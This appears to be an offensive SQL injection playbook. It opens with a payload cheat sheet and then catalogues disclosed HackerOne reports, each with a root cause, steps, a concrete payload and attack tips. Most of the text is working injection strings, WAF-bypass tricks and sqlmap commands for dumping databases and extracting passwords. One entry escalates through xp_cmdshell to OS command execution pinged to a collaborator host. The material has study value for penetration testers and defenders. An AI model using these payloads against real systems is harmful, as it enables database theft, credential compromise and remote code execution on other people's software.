-- Scalar/string probe (the universal tell)
' -- 500 / DB error / changed response = injectable string context
'' -- back to normal = the quote broke it
-- Numeric context (no quote needed)
1 AND 1=1 -- normal
1 AND 1=2 -- empty/different = injectable numeric context
-- Boolean differential (works everywhere)
' OR '1'='1 vs ' OR '1'='2
Find which sink your input lands in, then use the matching breakout.
The classic sink. Close the string, inject, comment out the tail. Numeric contexts need no quote at all.
' OR '1'='1'-- -
-1 UNION ALL SELECT 1,2,concat(username,0x3a,password),4 FROM users-- -
-- numeric path-segment UNION, no quotes:
/item/-1 UNION SELECT 1,2,version(),4
-- ORDER BY direction -> stacked UPDATE (identifiers can't be bound)
&ccm_order_by_direction=desc;UPDATE Users SET uEmail='ATK' WHERE uID=2;--
-- imploded array member lands inside IN(...)
groups[]=1) UNION SELECT NULL,password FROM users --
-- array KEYS interpolated into placeholder names (Drupalgeddon)
name[test) -- ]=user
POST /reset HTTP/1.1
Content-Type: application/json
{"token":[null]} # bypasses a nil? guard, generates IN (..., NULL)
# variant that drops the WHERE clause entirely -> finder returns first record:
{"token":{}}
# base64 GET param hides the whole query/payload from keyword WAFs
GET /admin/query/run-query?thequery=c2VsZWN0ICogZnJvbSBleHBfbWVtYmVycw==
-- 404 logger INSERTs the raw path -> error-based SQLi in the error page
GET /Campin/qsdqsd',(SELECT ...),1,1,1)#
Meteor.call('getUsersOfRoom',
{ $regex: '(<MY_ROOM_ID>|<TARGET_ROOM_ID>)' }, // operator object, not a string id
true,
console.log
);
// {$ne: null} / {$gt: ''} / {$regex: '.*'} are the workhorses
Pin the engine with comment and quote-differential behavior, then — when the response never changes — infer.
-- quote-differential fingerprint (Oracle mod_plsql/APEX): f?1'=1 -> 500, f?1''=1 -> 404
-- MySQL comment needs the trailing space: 'or'1'='1'--+
-- Time-based (the workhorse when output is suppressed)
' AND SLEEP(5)-- - -- MySQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -- PostgreSQL
IF(MID(VERSION(),1,1)=5,SLEEP(5),0) -- CSRF-delivered blind
-- Error-based (MySQL) — leaks data inside the error string
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
-- Blind char-by-char (case-sensitive — LIKE is not!)
' AND ascii(substr((SELECT password FROM admin LIMIT 1),N,1))=83-- -
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 122 in this class.
Real-world example
SQLi smuggled through XML-embedded values (MS Dynamics AX)
◆ Critical
Specimen #531051 · starbucks · awarded · 797 votes · resolved
Program starbucksSurface webTag file-upload
Root cause
A file-upload endpoint parsed uploaded XML and inserted node values (e.g. MainAccount numeric ID) into a WHERE clause. XML forbids a literal apostrophe, so naive quote tests are 'escaped' and miss the bug.
Method
- Enumerate subdomain -> HTML file-upload form; verbose errors reveal input is parsed as XML into Microsoft Dynamics AX, not saved.
- Use error messages to craft an accepted XML doc (nodes MainAccount, Credit, Debit, Invoice...).
- Inject the quote as an XML entity ' inside a numeric node; server returns a database error.
- Confirm time-based blind, then automate with sqlmap using --tamper htmlencode; DB version = Microsoft SQL Server 2012.
<MainAccount>123456'</MainAccount>
# then automate:
sqlmap -r req.xml --tamper=htmlencode
Insight — When user input reaches SQL through an XML/JSON/serialized layer, encode the breaking char in that layer's syntax (' for XML, \u0027 for JSON). A 'properly escaped' quote may just mean you sent the wrong encoding. Revisit stale targets.
Real-world example
Time-based SQLi in HTTP headers (User-Agent / Referer) with arithmetic sleep oracle
◆ Critical
Specimen #297478 · gsa_bbp · awarded · 699 votes · resolved
Program gsa_bbpSurface web
Root cause
HTTP headers (User-Agent, Referer) are logged/stored into a SQL query unsanitized. Blind, so confirm with time delays; arithmetic inside sleep() proves the value is truly evaluated as SQL, not a fixed delay.
Method
- Send benign request, then inject the payload into the User-Agent (or Referer) header.
- Use sleep(5*5) -> ~25s, sleep(5*5*0) -> ~0s, sleep(6*6-30) -> ~6s to prove the DB evaluates the arithmetic.
- The XOR/if(now()=sysdate(),sleep(),0) wrapper also doubles as a WAF/keyword-bypass form of the payload.
User-Agent: Mozilla/5.0 ...Chrome/55.0'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
# Referer variant (#995122):
Referer: http://www.google.com/search?q='+(select*from(select(sleep(7*7)))a)+'
Insight — Always fuzz headers (User-Agent, Referer, X-Forwarded-For, Cookie) for SQLi, not just query/body params. Prove blind SQLi with arithmetic sleep (sleep(5*5) vs sleep(5*5*0)) so a fixed WAF/proxy delay can't be mistaken for a hit.
Real-world example
Akamai Kona WAF bypass via inline comment inside function calls
◆ Critical
Specimen #403616 · eternal · USD 4500 · 325 votes · resolved
Program eternalSurface web
Root cause
item_id POST param concatenated into SQL. Akamai Kona WAF blocks patterns like sleep( and version(, but allows the same tokens when an inline /*...*/ comment splits the function name from its parenthesis.
Method
- Confirm SQLi with sleep(): item_id=1111-sleep/*f*/(10).
- Extract data via boolean: compare mid(version/*f*/(),1,1)=5 (delay) vs =4 (no delay).
- Defeat result caching keyed on the integer by incrementing/decrementing the numeric prefix each request.
res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)&new_tags[]=3&menu_id=1111
Insight — When a WAF blocks function-name signatures, split the call with an inline comment: sleep/*x*/(...), version/*x*/(). If responses look cached, mutate the leading integer to bust the cache key.
Real-world example
Unauth WSDL/SOAP service -> blind SQLi -> xp_cmdshell RCE
◆ Critical
Specimen #592400 · starbucks · awarded · 236 votes · resolved
Program starbucksSurface apiChain unauth WSDL enumeration -> blind SQLi -> xp_cmdshell -
Root cause
A browsable WSDL SOAP service on a non-standard port exposed unauthenticated functions; at least one was blind-SQLi-vulnerable on MSSQL, and the DB user could invoke xp_cmdshell to run OS commands.
Method
- Find a WSDL/SOAP service on a non-standard port via subdomain/port scanning.
- Call functions without auth (they returned users/passwords on test data).
- Exploit blind SQLi to reach MSSQL, then enable/call xp_cmdshell and prove RCE safely with ping to a collaborator host.
# MSSQL OS command via stacked query:
; EXEC xp_cmdshell 'ping COLLAB';--
Insight — Enumerate non-standard ports for SOAP/WSDL endpoints - they are often unauthenticated 'test' services. On MSSQL, escalate SQLi to RCE with xp_cmdshell; demonstrate impact with an OOB ping rather than destructive commands.
Real-world example
SQL injection in JSON PUT body field
◆ Critical
Specimen #1044716 · eternal · 2000 · 228 votes · resolved
Program eternalSurface api
Root cause
A REST onboarding endpoint reflected a JSON body field (salesLeadId) into a SQL statement without parameterization; boolean AND/OR payloads change results, confirming injection in an unexpected (PUT/JSON) context.
Method
- Send the baseline PUT /consumer/onboarding/saleslead/<id> to learn the normal response
- Inject boolean conditions into the id/body value: ' AND 1=1 -- vs ' AND 1=0 --
- Compare responses to confirm the AND/OR conditions are evaluated by the DB
PUT /consumer/onboarding/saleslead/6b6a8a5a-... HTTP/1.1
Content-Type: application/json
{"...":"...","salesLeadId":"31cf8eb0-...\" AND 1=1 -- "}
Insight — SQLi lives in non-GET contexts too - JSON bodies, PUT/PATCH, GUID-looking path/body params. Always boolean-diff (1=1 vs 1=0) on identifiers even when they look like opaque UUIDs.
Real-world example
Boolean-based blind SQLi in a REST URL path segment
◆ Critical
Specimen #2051931 · indrive · USD 4134 · 196 votes · resolved
Program indriveSurface api
Root cause
A numeric value embedded directly in the REST path (.../number_trips/1/999) is concatenated into a PostgreSQL query. Appending or 1=1-- vs or 1=2-- yields a row vs an empty response - a clean boolean oracle.
Method
- Identify a numeric path segment consumed by an API (found via a promo front-end call).
- Append boolean condition to the last segment: /999 or 1=1-- (returns a random row) vs /999 or 1=2-- (empty).
- Confirm DBMS by extracting version (PostgreSQL 14.8).
GET /api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--
GET /api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--
Insight — Do not stop at query/body params - values in the URL PATH are frequently spliced raw into SQL. Use a 1=1 vs 1=2 differential on the path segment as the boolean oracle.
Real-world example
SQLi via GraphQL query-string parameter (stacked queries)
◆ Critical
Specimen #435066 · security · none · 174 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A GraphQL feature read embedded_submission_form_uuid from the URL query string and interpolated it into 'SET SESSION #{key} TO #{value};' PostgreSQL statements. GraphQL query parameters (unlike input fields) were never designed for raw user input and were unsanitized.
Method
- Send POST /graphql with the parameter in the query string.
- Break out with a quote and append stacked statements ending in pg_sleep.
- Confirm with timing: pg_sleep(5) -> ~5s, pg_sleep(10) -> ~10s.
curl -X POST 'https://TARGET/graphql?embedded_submission_form_uuid=1%27%3BSELECT%201%3BSELECT%20pg_sleep(10)%3B--%27'
# decoded: 1';SELECT 1;SELECT pg_sleep(10);--'
Insight — GraphQL endpoints also accept query-string/URL parameters that bypass the sanitization applied to GraphQL input fields. Root cause here is string-interpolated SET SESSION - any 'SET key TO value' built from user input is a SQLi sink.
Real-world example
UNION-based SQLi in a numeric URL path segment
◆ Critical
Specimen #1046084 · automattic · awarded · 136 votes · resolved
Program automatticSurface webTag sqli
Root cause
A site-id embedded in the URL path (/commenthistory/{id}) was concatenated into a SQL query unsanitised, allowing UNION SELECT extraction (MariaDB).
Method
- Locate a numeric path segment used in a lookup
- Append UNION SELECT with matching column count
- Read @@VERSION / current_user() in the reflected column
https://intensedebate.com/commenthistory/<SITE_ID>%20union%20select%201,2,@@VERSION%23
https://intensedebate.com/commenthistory/<SITE_ID>%20union%20select%201,2,current_user()%23
Insight — Injection lives in path segments too, not just query/body. When a numeric resource id is reflected on the page, fuzz it with UNION and #-comment; the reflected column reveals @@VERSION/current_user.
Real-world example
Time-based SQLi in a field inside a JSON GET data= blob (IntenseDebate)
◆ Critical
Specimen #1044698 · automattic · awarded · 129 votes · resolved
Program automatticSurface web
Root cause
The comment API takes a JSON object in the data= query parameter; the acctid field within it is concatenated into a MySQL query. The same acctid GET param is injectable across multiple IntenseDebate endpoints (importStatus.php, changeReplaceOpt.php).
Method
- Capture the GET /js/commentAction/?data={...JSON...} request when replying to a comment.
- Inject into the acctid field inside the JSON: acctid=251219 AND SLEEP(15)#.
- Confirm timing scales (SLEEP(15) ~15.4s, SLEEP(7) ~7.6s).
GET /js/commentAction/?data={"request_type":"0","params":{...,"acctid":"251219 AND SLEEP(15)#",...}}
# also: /changeReplaceOpt.php?opt=1&acctid=419523 AND SLEEP(15)
# also: /js/importStatus.php?acctid=1 (sqlmap boolean+time-based)
Insight — Injectable fields are often nested inside a JSON object that is itself a single GET/POST param - expand and fuzz each inner field. When one param name (acctid) is injectable on one endpoint, test it on every sibling endpoint of the same app.
Real-world example
SQLi in URL path segments (IDs spliced raw into query)
◆ Critical
Specimen #2633959 · mtn_group · none · 113 votes · resolved
Program mtn_groupSurface web
Root cause
An app takes ID numbers (userId/customerId/contactPersonId) as URL path segments and inserts them directly into the backend SQL query. A single quote appended to customerId breaks the query; the injection recurs across many path-based endpoints.
Method
- Take a normal app-generated URL with numeric path segments.
- Append a single quote to a segment (.../customerId/732562'/...) -> backend query breaks.
- Mark the segment with an asterisk and run sqlmap to dump the DB.
https://TARGET/customerInsurance/newCustomerStep8/userId/868878/customerId/732562'/contactPersonId/0
# sqlmap: put * at the injection segment: .../customerId/732562*/...
Insight — RESTful path-parameter apps that embed passport/ID/org numbers are a broad SQLi surface; if one path segment is injectable, test all of them. Use sqlmap's asterisk marker to point it at a path segment.
Real-world example
Django ORM SQLi via attacker-controlled relation alias (FilteredRelation)
◆ Critical
Specimen #3292573 · django · none · 95 votes · resolved
Program djangoSurface web
Root cause
annotate() alias names used with FilteredRelation and passed to select_related() are embedded into SQL as identifiers without quoting/validation. A double quote in the alias breaks out of the identifier and injects arbitrary SQL - the ORM parameterizes values but not relation aliases.
Method
- Find an app that lets users control an annotate() alias / relation name (e.g. dynamic field selection).
- Set the alias to a string containing a double quote: author_join2\".
- The generated JOIN/SELECT contains the unescaped alias, injecting SQL.
user_data = 'author_join2"'
qs = Book.objects.annotate(**{user_data: FilteredRelation('author')}).select_related(user_data)
qs._fetch_all()
Insight — ORM safety covers VALUES, not IDENTIFIERS (table/column/alias/relation names). Anywhere user input reaches an alias, field name, order_by, or relation path, the ORM may concatenate it raw - audit those code paths.
Real-world example
PostgreSQL injection in a signup invite_code param
◆ Critical
Specimen #2209130 · mozilla · awarded · 93 votes · resolved
Program mozillaSurface web
Root cause
The invite_code field of an OIDC-proxy signup POST is concatenated into a PostgreSQL query. Quote parity (one quote -> 500, two -> 200) flags it; a subquery PG_SLEEP confirms.
Method
- During registration, capture the /signup POST containing invite_code.
- Send invite_code=xxx' -> HTTP 500; invite_code=xxx'' -> HTTP 200 (parity tell).
- Confirm time-based: invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))-- delays 5s (scale to 10/20s).
invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))--
Insight — Invite-code / coupon / voucher fields on signup flows are commonly looked up via raw SQL. On Postgres use (SELECT x FROM PG_SLEEP(n)) as a subquery so it works inside various clause contexts; use the 500-vs-200 quote-parity signal to detect.
Real-world example
Django ORM SQLi via unvalidated _connector in Q(**user_input)
◆ Critical
Specimen #3335709 · django · none · 76 votes · resolved
Program djangoSurface web
Root cause
WhereNode.as_sql builds the clause connector with unsafe formatting: conn = ' %s ' % self.connector. The connector is settable via the _connector key of a Q object, so Q(**user_controlled_dict) lets an attacker inject arbitrary SQL into the WHERE clause, bypassing parameterization.
Method
- Find an app that unpacks a user filter dict directly: Q(**request.json['filters']).
- Include a _connector key whose value is a malicious SQL fragment.
- The fragment is injected between conditions in the WHERE clause.
filters = {"_connector": "<SQL>", ...}
query = Q(**filters) # VULNERABLE
User.objects.filter(query)
Insight — Never unpack user-controlled dicts into Q(**...) / QuerySet kwargs - keys like _connector, _negated and lookups reach SQL structure, not just values. Same lesson as the FilteredRelation alias bug: ORM identifiers/operators are unparameterized.
Real-world example
SQLi in HTTP cookies found by fuzzing oddly-named cookies
◆ Critical
Specimen #300176 · eternal · USD 1000 · 72 votes · resolved
Program eternalSurface web
Root cause
Cookie values were interpolated into a login-page SQL query unsanitized; two differently-named cookies were injectable via different techniques (time-based and boolean).
Method
- Observe unusual cookie names set on the login page (here: orange, squeeze)
- Fuzz each cookie value with SQLi probes
- orange: confirm with an equality-sleep payload (response also flips 302->200)
- squeeze: confirm with boolean true#/false# comment payloads
- Extract version with MID(VERSION(),1,1) conditionals
Cookie orange: 1'=sleep(10)='1
Cookie orange: '=IF(MID(VERSION(),1,1)=5,SLEEP(10),0)='1
Cookie squeeze: 1 ' or true#
Cookie squeeze: 1 ' or false#
Insight — Cookies are an under-tested injection surface. Non-standard/app-specific cookie names are a tell that they feed custom queries - fuzz every cookie, not just URL/body params. A response-code flip (302->200) is as strong a signal as a time delay.
Real-world example
Blind SQLi via LocalParam (res_id) with inline-comment whitespace bypass
◆ Critical
Specimen #838855 · eternal · USD 2000 · 68 votes · resolved
Program eternalSurface web
Root cause
res_id request param concatenated into a query; a MySQL CASE/WHEN conditional gates SLEEP to give a boolean/time oracle. /**/ comments replace spaces to survive filtering.
Method
- POST to /php/geto2banner with res_id containing a CASE/WHEN sleep gadget
- Prefix the numeric id (51-...) so the injection lands after a valid value
- Replace spaces with /**/ to bypass naive whitespace filters
- Vary the LENGTH(version()) constant to confirm the conditional controls delay
POST /php/geto2banner HTTP/1.1
Host: www.zomato.com
Content-type: application/x-www-form-urlencoded
res_id=51-CASE/**/WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END&city_id=0
Insight — CASE/**/WHEN(cond)THEN(SLEEP(n))END is a clean, quote-free MySQL time oracle usable in numeric contexts; /**/ inline comments are a reliable space substitute against WAFs/filters. Prefix numeric-context payloads with a valid id and an arithmetic operator (51-...).
Real-world example
MSSQL time-based blind SQLi on OAuth token endpoint (refresh_token)
◆ Critical
Specimen #1034625 · informatica · none · 68 votes · resolved
Program informaticaSurface apiTag oauth
Root cause
The refresh_token value POSTed to an OAuth /api/v1/token endpoint is concatenated into a SQL lookup on MSSQL, exploitable with WAITFOR DELAY despite the generic invalid_grant error.
Method
- POST grant_type=refresh_token with a WAITFOR DELAY payload appended to refresh_token
- Time the response; a '0:0:13' delay confirms execution vs '0:0:1'
- Note the error body stays constant (invalid_grant) - rely on timing, not response content
curl -X POST "https://TARGET/api/v1/token" -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=refresh_token&refresh_token='; WAITFOR DELAY '0:0:13'--"
Insight — Token/session endpoints look up credentials in a DB and are frequently unparameterized. refresh_token, session, api_key style params are prime blind-SQLi sinks; a constant error body does not rule out injection - measure timing. WAITFOR DELAY is the MSSQL time oracle.
Real-world example
Boolean SQLi via response-length differential (order_id)
◆ Critical
Specimen #358669 · eternal · USD 1000 · 63 votes · resolved
Program eternalSurface web
Root cause
order_id param concatenated into a string-context query; a quote-broken if() conditional changes the returned content length, giving a boolean oracle.
Method
- Inject an if(cond) conditional wrapped in quote-break syntax into order_id
- Diff response length between the true and false branches
- Use the length differential to extract data bit-by-bit
'-if(1=2,'0','1')-'
Insight — When there is no error and no delay, response Content-Length is the oracle. The '-if(...)-' pattern concatenates a conditional into a string context; watch length, not body text.
Real-world example
Unauth error-based SQLi via Prisma queryRaw (extractvalue XPATH leak)
◆ Critical
Specimen #1626226 · deptofdefense · awarded · 61 votes · resolved
Program deptofdefenseSurface api
Root cause
A REST path segment (/api/organizations/<id>) is interpolated into a Prisma queryRaw() call unescaped; MySQL extractvalue() forces the injected subquery result into an XPATH-syntax error that echoes the data.
Method
- Append a single quote to the path id and observe a Prisma/queryRaw 500 error
- Wrap a subquery in extractvalue(rand(),concat(0x3a,(SELECT ...))) so the result is embedded in the XPATH error message
- Read user()/version()/database() straight from the error
- Dump tables via information_schema with limit N,1 to iterate rows
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa
# extract tables:
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from information_schema.tables limit 54,1))))='
Insight — 'Raw' ORM escape hatches (Prisma queryRaw, Sequelize literal, Django .raw/.extra) reintroduce classic SQLi. MySQL error-based extractvalue(concat(0x3a,(subquery))) leaks up to 32 bytes per request without UNION and works even when data isn't reflected. Test path segments, not only query/body params.
Real-world example
ORDER BY injection via Rails reorder(params[:order]) with boolean CASE exfiltration (CVE-2017-0914)
◆ Critical
Specimen #298176 · gitlab · USD 2000 · 41 votes · resolved
Program gitlabSurface api
Root cause
MilestonesFinder passes the raw order param into ActiveRecord reorder() without sanitization; ORDER BY accepts an expression, enabling a CASE-based boolean oracle that reorders rows to leak data.
Method
- Create a group with two milestones (two rows to reorder)
- Request the milestones JSON with ?order=<CASE payload>
- The CASE compares a subquery char to a letter and picks sort column 1 vs 2, flipping row order
- Read the row order in the response to determine the char; iterate to exfiltrate arbitrary columns (e.g. users.email)
?order=(CASE SUBSTR((SELECT email FROM users WHERE username = 'victim'), 1, 1) WHEN 'a' THEN (CASE id WHEN 429944 THEN 2 ELSE 1 END) ELSE 1 END)
Insight — reorder()/order() in Rails (and equivalent ORM order helpers) take raw SQL - any user-controlled sort param is injectable. Even with no error/time/content leak, ROW ORDER itself is a boolean oracle: gate the sort column on a data-dependent CASE and read the ordering. Data-exfil without UNION or errors.
Real-world example
Blind SQLi in URL path segment with redirect-vs-500 oracle and whitespace-free payloads
◆ Critical
Specimen #1527284 · ibm · none · 35 votes · resolved
Program ibmSurface web
Root cause
Path processing on the site interpolates the URL path into SQL; a single quote right after the leading slash starts injection, and query success vs failure maps to distinguishable responses.
Method
- Put a single quote immediately after the leading slash in any path
- Observe the two states: valid SQL -> endless redirect, failed SQL -> HTTP 500
- Use that redirect/500 split as a boolean oracle to exfiltrate data
- Since spaces and newlines are blocked, rewrite payloads without whitespace (comments/parentheses)
GET /'<boolean-condition> -> redirect (true) vs HTTP 500 (false)
Insight — URL path segments are an injection surface on essentially every route when path processing hits the DB - test a quote right after '/'. When the app never reflects query output, find any binary behavioral difference (redirect vs error) as the oracle. Space/newline filters are beaten with whitespace-free SQL (/**/, parentheses).
Real-world example
Time-based blind SQLi in admin login form (login parameter)
◆ Critical
Specimen #865436 · mtn_group · none · 32 votes · resolved
Program mtn_groupSurface web
Root cause
The webadmin login endpoint concatenated the 'login' POST field into a MySQL query, giving a time-based blind SQLi in the username field before authentication.
Method
- Intercept the admin login POST (login=&pass=)
- Break the query with login=user' and confirm error/behavior change
- Save request and run sqlmap targeting the login parameter
login=admin' AND (SELECT 5206 FROM (SELECT(SLEEP(5)))THtF) AND 'MHhg'='MHhg&pass=admin
Insight — Login forms remain a prime SQLi surface: test the username field first with a SLEEP payload before assuming credentials are needed. sqlmap -r on the saved POST resumes quickly against MySQL >= 5.0.12.
Real-world example
IN()-clause SQLi via imploded array parameter (ImpressCMS findusers.php)
◆ Critical
Specimen #1081145 · impresscms · none · 30 votes · resolved
Program impresscmsSurface webChain auth bypass (#1081137) + IN()-clause SQLi -> unauthenticaTag account-takeover
Root cause
getUsersByGroupLink()/getUserCountByGroupLink() build 'm.groupid IN (' . implode(', ', $groups) . ')' directly from the $_POST['groups'] array, so array elements are injected verbatim into the IN() list.
Method
- POST to /include/findusers.php with groups[] array elements containing SQL
- Elements are imploded into an IN() clause -> boolean-based blind SQLi against the users table
- Chain with #1081137 (auth bypass) to exploit unauthenticated, dumping emails/password hashes
POST /include/findusers.php
groups[]=1) UNION SELECT ... -- # imploded into: m.groupid IN (1) UNION SELECT ... --)
Insight — Any array parameter that is implode()'d into an IN(...) clause is a SQLi sink even when the app looks parameterized elsewhere. Grep source for implode( into SQL. A quality/validation bug in one endpoint (auth bypass) can turn an admin-only SQLi into unauth.
Real-world example
MSSQL SQLi in REST /api/ URL path with inline-comment UNION bypass
◆ Critical
Specimen #1125752 · tennessee-valley-authority · none · 30 votes · resolved
Program tennessee-valley-authoritySurface api
Root cause
A REST endpoint interpolated a path segment (river/observed-data/<id>) into an MSSQL query; the injection point is in the URL path, not a query string, and a versioned-comment UNION defeated filtering.
Method
- Inject into the trailing path segment after a station id
- Use /*!50000union*/ inline comment to slip UNION past filters and select HOST_NAME()/@@version
- Confirm blind via WAITFOR DELAY timing
GET /api/river/observed-data/GVDA1'+/*!50000union*/+SELECT+@@version--+-
GET /api/river/observed-data/-GVDA1'+WAITFOR+DELAY+'0:0:10'--+-
Insight — URL path segments are injectable too, not just ?params. On MSSQL use WAITFOR DELAY for timing and try MySQL-style /*!...*/ versioned comments as a generic filter/WAF bypass token even against non-MySQL backends.
Real-world example
Classic ASP/MSSQL GET-parameter SQLi enumerated with sqlmap
◆ Critical
Specimen #1628408 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface web
Root cause
A legacy .asp endpoint concatenated the selMajcom GET parameter into an MSSQL query; unauthenticated SQLi exposing 24 databases.
Method
- Identify the .asp endpoint and vulnerable GET param (selMajcom)
- Mark the injection point with an asterisk for sqlmap (selMajcom=MAT*)
- Run sqlmap -r dod.txt --dbs --level 3 --risk 3 to enumerate databases
GET /.../RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29...
# sqlmap: python sqlmap.py -r dod.txt --dbs --level 3 --risk 3
Insight — Legacy .asp + MSSQL stacks are reliable SQLi hunting ground. Use sqlmap's * marker to pin a specific injection point inside a complex request, and raise --level/--risk to reach params scanners skip by default.
Real-world example
Multi-endpoint PHP/MySQL SQLi with sqlmap space2comment WAF bypass
◆ Critical
Specimen #1627995 · deptofdefense · awarded · 29 votes · resolved
Program deptofdefenseSurface web
Root cause
Several endpoints of the same PHP app (comment_post.php, setlogin.php, leasib.php) concatenate POST params (staff_student, username/password, scn/SUBJECT/COURSEID) into MySQL queries; boolean/error/time-based blind, all sharing the same 13-database backend.
Method
- Capture a POST to any form endpoint of the app
- Run sqlmap with --tamper=space2comment --random-agent to bypass the space-filtering WAF
- Confirm boolean/time-based/error-based injection; enumerate --dbs
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent -u "https://TARGET/olc/.../comment_post.php" --data="staff_student=STUDENT&scn=xxx&comments=xx&Submit=Submit Comments" -p staff_student --dbms=mysql
# example payload: staff_student=STUDENT'||(SELECT 0x615a636e FROM DUAL WHERE 7192=7192 AND (SELECT 4865 FROM (SELECT(SLEEP(5)))VDbe))||'
Insight — When one endpoint of an app is injectable, sweep sibling endpoints/params of the same app - they usually share the flaw and DB. --tamper=space2comment reliably defeats WAFs/filters that key on spaces; the '||(subquery)||' concat form works well on MySQL string contexts.
Real-world example
Oracle APEX mod_plsql injection via OWA_UTIL/HTP.PRINT
◆ Critical
Specimen #178057 · informatica · none · 28 votes · resolved
Program informaticaSurface webChain SQLi -> reflected XSS via HTP.PRINT output
Root cause
An Oracle APEX /pls/apex/f gateway allowed calling arbitrary PL/SQL packages; injecting OWA_UTIL.CELLSPRINT / HTP.PRINT let the attacker run SELECTs and render output (and XSS) directly.
Method
- Fingerprint mod_plsql/APEX via /pls/apex/ and quote-differential errors (f?1'=1 -> 500, f?1''=1 -> 404)
- Invoke a PL/SQL package procedure to print query results
- Extract banner/users via OWA_UTIL.CELLSPRINT wrapping a SELECT
http://TARGET/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+banner+FROM+v$version
http://TARGET/pls/apex/f?);HTP.PRINT(:1);--=positive<svg/onload=prompt('xss')>
Insight — On Oracle mod_plsql/APEX gateways (/pls/...), the injection style is PL/SQL procedure invocation, not classic UNION. Use OWA_UTIL.CELLSPRINT / HTP.PRINT to echo query output, and the single/double-quote 500-vs-404 differential to fingerprint the stack.
Real-world example
WordPress $wpdb->prepare() misuse -> SQLi in core and plugins
◆ Critical
Specimen #179920 · wordpress · none · 17 votes · resolved
Program wordpressSurface web
Root cause
$wpdb->prepare() (1) ignores subsequent args when the first argument is an array, and (2) only quotes %s placeholders - so when developer-controlled/user-controlled input is already quoted in the query around a %s, it becomes injectable. WP core delete_metadata() and bbPress were shown vulnerable.
Method
- Find prepare() calls where the query wraps a %s in quotes with adjacent user input, or where the first arg can be an array
- Supply input that breaks the intended quoting to inject SQL
- Demonstrate via bbPress anonymous posting and core delete_metadata()
// vulnerable patterns:
$wpdb->prepare( array($query, ...) ); // Issue 1: array first-arg swallows remaining args
$wpdb->prepare( "... '%s' ...", $userinput ); // Issue 2: %s quoting + surrounding quotes -> break-out
Insight — 'It uses $wpdb->prepare()' is not proof of safety. Audit prepare() call sites: array-typed first argument and %s placeholders already wrapped in quotes are the two exploitable misuse patterns across countless WP plugins/themes. Framework-wide sink review beats per-endpoint testing.
Real-world example
npm query-mysql string-concatenation SQLi (CVE-2018-3754)
◆ Critical
Specimen #311244 · nodejs-ecosystem · none · 14 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
query-mysql builds every query by concatenating table/column/value arguments directly into the SQL string with no escaping or parameterization, so any user-supplied value injects.
Method
- Call a query helper (e.g. fetchById) with a user-controlled value
- Supply a value that closes the quote and adds OR 1=1
- All rows returned - injection confirmed
connection.query("SELECT * FROM " + table + " WHERE " + name_id + "='" + id + "'");
// fetchById('users', "noob' or 1=1-- ", 'username', cb) -> returns all users
// fix: mysql.format("SELECT * FROM ?? WHERE ?? = ?", [table, name_id, id])
Insight — Library-level SQLi: helper libraries that concatenate identifiers/values are injectable at every call site regardless of how carefully the app is written. When auditing Node deps, grep for connection.query( with + concatenation; recommend mysql.format ?? / ? placeholders.
Real-world example
Out-of-band SQLi exfil via ICMP ping packet size
◆ Critical
Specimen #1216085 · h1-ctf · USD 100 · 13 votes · resolved
Program h1-ctfSurface webChain exposed .git -> source review -> UNION SQLi -> ICMP
Root cause
A UNION-injectable query feeds a row whose packet_size (validated 1..65527) and ip (validated IPv4) are passed to `ping -s <size> <ip>`; the attacker smuggles a data byte into packet_size so the emitted ICMP packet length leaks one character of secret data.
Method
- Recover source via exposed .git; confirm `select * from host where id=$id` is injectable
- UNION-select a controlled IP plus ascii(substr(password,N,1)) as the packet_size column
- Sniff inbound ICMP; packet length minus 8 bytes overhead = the ASCII code of char N
- Repeat per position to reconstruct the admin password
id=-1 union all select 1,'MYSERVER',ascii(substr(password,N,1)) from user where username='admin'#
Insight — Even a heavily-validated sink can be an exfil channel if any attacker-influenced numeric reaches an observable side effect (packet size, sleep duration, HTTP status, row count). Think of SQLi output as any measurable quantity, not just response body.
Real-world example
Blind MSSQL in JSON body param (ASMX)
◆ Critical
Specimen #117073 · informatica · none · 11 votes · resolved
Program informaticaSurface api
Root cause
An ASP.NET .asmx web method takes a JSON POST field docId and concatenates it into a MSSQL query; a boolean sub-select produces a distinguishable JSON response ({d:3} true vs {d:''} false).
Method
- Send the API JSON with docId as a boolean condition
- Map {d:'3'} = true, {d:''} = false, error JSON = syntax break
- Walk @@version with substring(...,N,1)='c' to fingerprint and extract
{docId:"1 and (select substring(@@version,1,1))='M'", docTitle:"..."}
// true -> {"d":"3"} false -> {"d":""}
Insight — JSON/API body parameters are injectable too - don't stop at query strings. A stable true/false response signature (different JSON, count, or status) is all you need for full blind extraction.
Real-world example
Oracle APEX OWA_UTIL.CELLSPRINT PL/SQL injection
◆ Critical
Specimen #178632 · informatica · none · 10 votes · resolved
Program informaticaSurface web
Root cause
The Oracle APEX/mod_plsql gateway endpoint /pls/apex/f? allows calling exposed PL/SQL packages; OWA_UTIL.CELLSPRINT runs an attacker-supplied SELECT and prints the results.
Method
- Find an Oracle mod_plsql/APEX gateway at /pls/.../f?
- Invoke OWA_UTIL.CELLSPRINT with a SELECT as the bind argument
- Read arbitrary data: v$version, SYS_CONTEXT('USERENV',...) etc.
/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=select+*+from+v$version
